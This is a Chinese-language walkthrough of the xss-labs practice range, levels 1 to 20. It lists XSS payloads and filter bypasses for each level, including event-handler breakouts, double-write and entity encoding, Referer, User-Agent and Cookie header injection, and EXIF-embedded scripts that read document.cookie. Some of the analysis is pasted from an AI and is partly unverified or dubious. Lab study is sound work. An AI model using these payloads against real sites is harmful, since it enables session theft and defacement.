level1 一级

PHP代码

<script>alert()</script>

level2 二级

PHP代码:


"><script>alert()</script><"

level3

PHP代码:

" <csript>alert()</script> <"

不行,查看源码:

如图得知"、<、> 被进行了 HTML 转义:
-
"→" -
<→< -
>→>双引号、尖括号失效,无法用<script>、">这类传统 Payload ❌ 但是:单引号'没有被转义! 利用思路:使用单引号闭合value=',跳出属性,使用HTML 事件 触发 JS(不需要<>)' onfocus=javascript:alert() <'

level4

PHP代码:

'onfocus=javascript:alert() <'

可见 ' 被转义成 \' ,但是"没有被转义可以利用
" onfocus=javascript:alert() <"

level5

PHP代码:

" onfocus=javascript:alert() <"

onfocus被变成o_focus了,试试用script标签
" <script>alert()</script> <"

试试<a></a>标签弹窗
"> <a href=javascript:alert()>111</a> <"

level6

PHP代码:

"><a href=javascript:alert()>111</a> <"

查看源码:发现其实就是把<script><a>onfocus给加_了,看PHP代码可以使用大小写绕过

"><a HRef=javascript:alert()>111<"

level7

PHP代码:

先执行 strtolower(),所有输入统一转小写,大小写混淆绕过无效
str_replace(关键词,"",$str):找到关键词直接空替换删除
替换函数只会单次删除 ,遇到 oonn、hhrefref 这类双写字符串,删除中间子串后会重组出完整关键词
"><a HRef=javascript:alert()</a><"
发现javascript里面的script被删除了,分析php代码可以双写:javascracriptipt

"><a href=javascscriptript:alert()>111</a><"

href被删除了
"><a hrhrefef=javasscriptcript:alert()>111</a><"

level8

PHP代码:

故技重施
"><a hrefhref=javascriptscript:alert()>111</a><"

去掉双写:
"><a href=javascript:alert()>111</a><"
还是不行分析php代码发现:
1.< > " ' & 全部被转义为 HTML 实体(< > "),无法跳出标签、无法闭合原有结构。
2.输出位置:友情链接 <a href="这里放入用户输入">友情链接</a>。
3.关键词过滤:拦截 script、on、href,大小写绕过、双写绕过均失效

尝试编码绕过,unicode编码绕过(HTML 实体(俗称 unicode 编码)最大好处: 后端不解析、浏览器自动解码,把敏感字符 "藏起来" 躲过服务器过滤,到达浏览器渲染阶段才还原成可执行符号。)
javascript:alert()
https://www.matools.com/code-convert-unicode

level9

PHP代码:

其中,比第八关多了32行的if条件,如果false=false则失败,条件是$str7里面有http://
构造payload:
javascript:alert();http://

unicode编码
javascript:alert();http://
&59;是unicode对;编码,在js里面表示结束

无法弹窗,尝试用注释:
javascript:alert()/*http://*/

level10

PHP代码:


input被hidden了,我们只需要改为type=text,构造payload
t_sort=javascript:alert();type=text

但这里是 input 标签,没有 href 属性,所以不用href:javascript:alert(),用事件触发属性onfocus
t_sort="onfocus=javascript:alert() type="text
一般on事件后面用空格隔开就行,没有空格会报错

level11

PHP代码:

?t_sort="onfocus=javascript:alert() type="text


t_sort的输入被htmlspecialchars()转义了,其中:
<input name="t_sort" value="【来自GET参数 t_sort】" type="hidden">
<input name="t_ref" value="【来自HTTP请求头 Referer】" type="hidden">
`Referer请求头` → `$str11` → 过滤 `<>` → `$str33` → 填入 t_ref 的 value
分析PHP代码发现t_ref并没有那么多限制,但是GET输入不了,就直接改请求头:
什么是 Referer?
Referer 是浏览器自带的 HTTP 请求头,作用是告诉服务器:我是从哪个页面跳转过来的 。 正常访问时浏览器自动带上,普通地址栏无法直接修改这个请求头,所以必须抓包(Burp)或者请求头修改插件。
Referer: "onfocus=javascript:alert() type="text

没有Referer头就自己加一个进去()记住格式规范,Referer: 这:后面有个空格

level12

PHP代码:

分析PHP代码可知,此关切口在t_ua参数内,需要在User Agent内输入即可
User-Agent: " onfocus=javascript:alert() type="text

把这个User-Agent的数据替换掉就行了,一定要注意格式


level13

PHP代码:

其中第20行表示:
从浏览器 Cookie 里取出名为 user 的内容,存到变量 $str11 里面。
举个场景例子
网站登录后,服务器种下 Cookie:user=admin123 执行这段代码后:$str11 = "admin123"
构造payload
"onfocus=javascript:alert() type="text


level14

PHP代码:

扩展exif知识:
<iframe name="leftframe" src="http://www.exifviewer.org/" ...></iframe>
真实靶场逻辑: 页面加载 exif 图片解析服务 ,读取图片的 EXIF 元数据(图片注释 / ImageDescription) ,直接把 EXIF 内容输出到页面,无过滤 。 ✅ 漏洞类型:EXIF XSS(图片元数据存储型 XSS) 关键点:不是修改图片文件名,是修改图片内部 EXIF 注释!
原理简述
JPG 图片可以嵌入 EXIF 信息(图片描述、作者)。 网站读取图片 EXIF 字段,直接渲染 HTML,payload 写在 EXIF【ImageDescription】里,访问页面时代码执行。
一、制作带 XSS payload 你 的图片(两种方法)
Payload 推荐(基础弹窗)
<script>alert(document.cookie)</script>
方法 1:Linux exiftool
-
准备一张正常 jpg 图片
test.jpg -
执行命令写入 EXIF 图片描述:
exiftool -ImageDescription='' test.jpg
Windows 可以下载 ExifTool 图形界面工具。
方法 2:Python 脚本修改 EXIF
from PIL import Image
import piexif
img = Image.open("test.jpg")
exif_dict = piexif.load(img.info["exif"])
# 写入ImageDescription
exif_dict["0th"][piexif.ImageIFD.ImageDescription] = '<script>alert(document.cookie)</script>'
exif_bytes = piexif.dump(exif_dict)
img.save("xss.jpg", exif=exif_bytes)
⚠️ 注意:PNG 不支持标准 EXIF!必须使用 JPG/JPEG!
二、靶场访问流程
-
上传制作好的
xss.jpg到服务器,拿到图片地址 -
访问 level14 页面,iframe 加载 exif 解析服务,传入你的图片地址 靶场 URL 格式类似:
/xss/level14.php?src=https://xxx/xss.jpg
服务读取图片 EXIF 信息,将你写的<script>直接输出页面,触发 XSS。
三、常见踩坑点
-
❌ 不要把 payload 写在文件名里,没用!必须写入图片内部 EXIF 元数据
-
❌ 使用 png 图片,EXIF 不生效,一定要 jpg
-
❌ 部分浏览器现代策略:iframe 跨域、CSP 限制弹窗 遇到 CSP 拦截,更换 payload,改用 img/onerror:
-
工具使用错误:很多图片编辑器会自动清空 EXIF 信息,导出图片时不要压缩清理元数据
四、延伸考点(面试 / 护网常问)
- EXIF XSS 属于存储型 XSS,载荷保存在图片文件内;
- 防御方案:
- 后端读取 EXIF 输出前做 HTML 转义;
- 图片上传后自动剥离全部 EXIF 元数据;
- 配置 CSP,禁止内联脚本;
- 同类漏洞:图片 IPTC、XMP 元数据注入。
ok,我按照上述使用脚本操作:


把xss.jpg放入服务器访问(由于能力有限展示不出,这里直接修改代码执行):
无法复现,等遇到再说把😂😂😂
level15

PHP代码:

一、源码核心审计要点
$str = $_GET["src"];
echo '<span class="ng-include:'.htmlspecialchars($str).'"></span>';
- 输入点:GET 参数
src - 过滤函数:
htmlspecialchars()- 默认模式:转义
< > & " - ⚠️ 不转义单引号
'(核心漏洞根源)
- 默认模式:转义
- 输出位置:HTML
class属性内,页面加载 AngularJS 1.x
二、核心知识点
1. htmlspecialchars 关键特性(高频考点)
- 不加第二参数:
htmlspecialchars($str)→ 只转义双引号,保留单引号' - 安全写法:
htmlspecialchars($str, ENT_QUOTES)→ 同时转义单引号、双引号 结论:很多人误以为该函数能防御所有引号,是常见误区。
2. AngularJS 1.x ng-include 特性
- AngularJS 会自动解析 class 中
ng-include:'路径'格式 - 语法强制要求:路径必须被单引号包裹
- 限制:仅支持加载同源页面,无法跨域加载外部资源
- 无法直接在当前页面注入HTML标签:
< >被实体编码,浏览器不解析
3. 间接XSS思路(中继攻击)
当前页面无法直接构造XSS标签,利用 ng-include 加载另一处存在漏洞的页面(level1.php) 攻击链路: level15(可控ng-include路径) → ng-include加载 level1.php → level1.php无过滤输出参数 → 触发XSS
三、Payload原理拆解
传入参数: src='level1.php?name=<img src=x onerror=alert(1)>' 渲染后HTML:
<span class="ng-include:'level1.php?name=<img src=x onerror=alert(1)>'"></span>
单引号成功保留,AngularJS识别指令并发起加载请求。
编码备用Payload(防止URL特殊符号丢失) ?src=%27level1.php?name=%3Cimg%20src=x%20onerror=alert(1)%3E%27
四、面试/靶场考点汇总
- 考点1:htmlspecialchars 不同模式转义范围区分 ENT_QUOTES / ENT_COMPAT(默认)二者区别,是XSS经典考点。
- 考点2:AngularJS 1.x 基于class属性的ng-include解析漏洞 区分现代Angular与老旧AngularJS 1.x,新版本不存在该特性。
- 考点3:直接注入受阻时,使用同源页面中继的间接XSS思路 不能直接弹窗时,寻找站点内其他未过滤的页面作为跳板。
- 考点4:输出在class属性中的XSS利用思路 不能直接写HTML标签,需要利用前端框架特性进行突破。
- 考点5:ng-include同源策略限制 只能加载同域名资源,不能引入外部URL。
五、防御方案(答题必备)
- 使用
htmlspecialchars($var, ENT_QUOTES),同时转义单、双引号; - 禁止用户可控数据直接拼接至HTML属性;
- 淘汰老旧 AngularJS 1.x 框架;
- 若业务需要动态加载页面,配置路径白名单,禁止任意路径传入。
根据ai分析这个ng-include,实操一下:
?src='level1.php?name=javascript:alert()'
不管这么尝试还是谈不了窗:
二、逐层拆解「为什么新版浏览器无法触发」
1. AngularJS 1.2.0 古老语法特性(关卡设计依赖)
AngularJS 早期支持三种指令写法:
- 属性写法:
<span ng-include="expr"></span>稳定 - class 写法:
<span class="ng-include:表达式">不稳定,就是本关使用形式
原理:Angular 启动后扫描 DOM,解析 class 里
ng-include:后面的内容,当成 JS 表达式执行,调用$http.get()加载模板。
2. 致命问题 1:DOM 加载时序竞争
页面渲染顺序:
- HTML 从上往下渲染,先渲染
<span class="ng-include:xxx"> - 此时
<script src="angular.min.js">在 head 中开始下载 - DOM 渲染完成 → Angular 脚本还没下载、初始化完毕
当 Angular 最终启动完成时: 默认只会扫描一次初始 DOM,不会重新扫描已经渲染好的元素 很多情况下直接忽略这个 span,不会发起 AJAX 请求。
就算你把 js 放 head,网络波动、浏览器渲染调度依然有可能出现时序错位。
3. 致命问题 2:现代 Chromium 浏览器弱化支持(最核心!)
Chrome/Edge 新版本,对十几年前 AngularJS1.2 的 CSS class 指令解析器做了兼容降级 。 网上所有通关视频都是 2016 年前旧 Chrome/Firefox。 现在新版浏览器:
- 能正常解析
ng-include=""属性指令 - 经常跳过、不解析 class="ng-include:xxx" 这种形式 现象就是:网络面板永远看不到 level1.php 的 XHR 请求,和你当前现象完全吻合。
4. 致命问题 3:浏览器地址栏 URL 天然破坏 Payload(双层编码根源)
原始 payload: 'level1.php?name=<img src=x onerror=alert(1)>'
如果你直接丢进 URL 参数:
?src='level1.php?name=<img src=x onerror=alert(1)>'
浏览器会把内部的 ? 和 & 识别成参数分隔符 ,直接切断 URL。 最终传给后端的 $str 是残缺字符串 → Angular 拿到非法 URL,放弃请求。 所以必须双层 URL 编码,解决这个问题。
但就算编码解决了字符串截断,上面【浏览器兼容弱化】的问题依旧存在。
5. 补充:源码没有 htmlspecialchars!原版关卡本来是带过滤的
标准原版 level15 代码:
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
htmlspecialchars() 转义 < > & ",保留单引号 ',这是关卡考点; 你当前代码删掉了,虽然放宽限制,但依旧解决不了浏览器不解析 class 指令的硬伤。
三、完整攻击链路(关卡设计预期流程)
- GET 参数 src 传入
'level1.php?name=<img src=x onerror=alert(1)>' - PHP 输出
<span class="ng-include:'level1.php?name=<img...>'"></span> - Angular 解析 class,提取表达式:
'level1.php?name=<img src=x onerror=alert(1)>' - Angular 发起 AJAX GET:
level1.php?name=<img src=x onerror=alert(1)> - level1.php 接收 name,直接反射输出到页面
<img>加载失败触发 onerror → alert 弹窗
四、总结你失败的根本原因排序
- 新版 Chrome/Edge 不再稳定支持 AngularJS1.2 的 class 形式指令(最大元凶)
- HTML 渲染与 Angular 初始化存在时序竞争,偶发失效
- 地址栏直接输入 URL 容易被浏览器拆分参数,需要双层编码
五、唯一贴合原题考点、稳定可行方案
不要在浏览器地址栏直接访问,使用 Burp Suite 发送原始 HTTP 请求 原始请求参数:
src='level1.php?name=<img src=x onerror=alert(1)>'
绕过浏览器 DOM 预解析、地址栏 URL 自动处理两大限制,满足当年靶场设计环境。

还是弹不了窗,算了记住知识点就行了
level16

PHP代码:

分析代码:
strtolower()函数表示把str里面的数据进行小写
把script、空格、/变成 ,所以不能使用大小写绕过以及<script>标签和空格在内,HTML 标签属性可以不用空格分隔 ,用 tab、换行 或者直接用 /**/ 不行(/ 被过滤),最简方案: 属性之间不用空格,依靠标签语法粘连;优先使用 onmouseover / onerror 事件
利用 	 制表符 URL 编码 %09,替代空格
<img%09src=x%09onerror=alert(1)>

%09被发现了,用换行符%0A试试

<img%0Asrc=x%0Aonerror=alert(1)>
level17

PHP代码:

这个代码重点在理解这一行:
<embed src=xsf01.swf?【arg01的值】=【arg02的值】 width=100% height=100%>
其中arg01和arg02被htmlspecialchars()函数包裹,这个函数默认转义& " < > ' 但是它不会拦截 HTML 属性外面的 > < 标签截断,就是如果我们输入的>是用于闭合<embed标签的话它可能不会转义,但>作为特殊字符就会转义。
?arg01=a width=100 height=100><svg onload=alert(1)>&arg02=b
?arg01=a&arg02=b onmouseover=alert(1)
空格替换为%0A或者%09即可
由于浏览器不支持embed标签,将php替换为img标签表示注入成功:

http://127.0.0.1/xss-labs-master/level17.php?arg01=a%09width=100%09height=100%3E%3Csvg%09onload=alert(1)%3E&arg02=b

level18

PHP代码:

分析代码:
还是htmlspecialchars()函数把**"** 、< 、>全部编码了
同样把embed换成img,直接不跳出 embed 标签,在 arg02 追加 空格+事件 ,不使用任何 < > "
先试试17关的payload:
level18.php?arg01="><svg%0Aonload=alert()>&arg02="b

?arg01=a&arg02=b%20onmouseover=alert(1)


level19

PHP代码:

分析代码其实和17、18关差不多

?arg01=a&arg02=b%20onmouseover=alert(1)

用Flash回调js
xsf03.swf(Flash 程序)会读取 URL 中的参数,内置 ActionScript 漏洞,接收 callback 参数并调用 JS。 经典 Payload 原型:
level19.php?arg01=a&arg02=b%26callback=alert
%26 = &,作用:在 URL 层面新增参数 callback=alert 传给 swf。
由于现代浏览器彻底废除 Flash ,swf 无法运行,这条原生解法现在看不到弹窗,只能理解原理,不能复现。漏洞理论存在,但运行载体(Flash)消失,攻击失效。
level20

PHP代码:

属于Flash AS 回调 XSS 原理:xsf04.swf 读取 URL 查询参数,识别自定义回调参数并执行 JS。 历史标准 Payload 原型:
level20.php?arg01=a&arg02=b%26callback=alert
%26=&- 作用:给 swf 追加 URL 参数
callback=alert,Flash 内部调用回调函数触发弹窗
现实限制 现代浏览器彻底移除 Flash 插件,xsf04.swf 无法运行。
参考文章:新建标签页
个人理解或有偏差,欢迎大家批评纠正。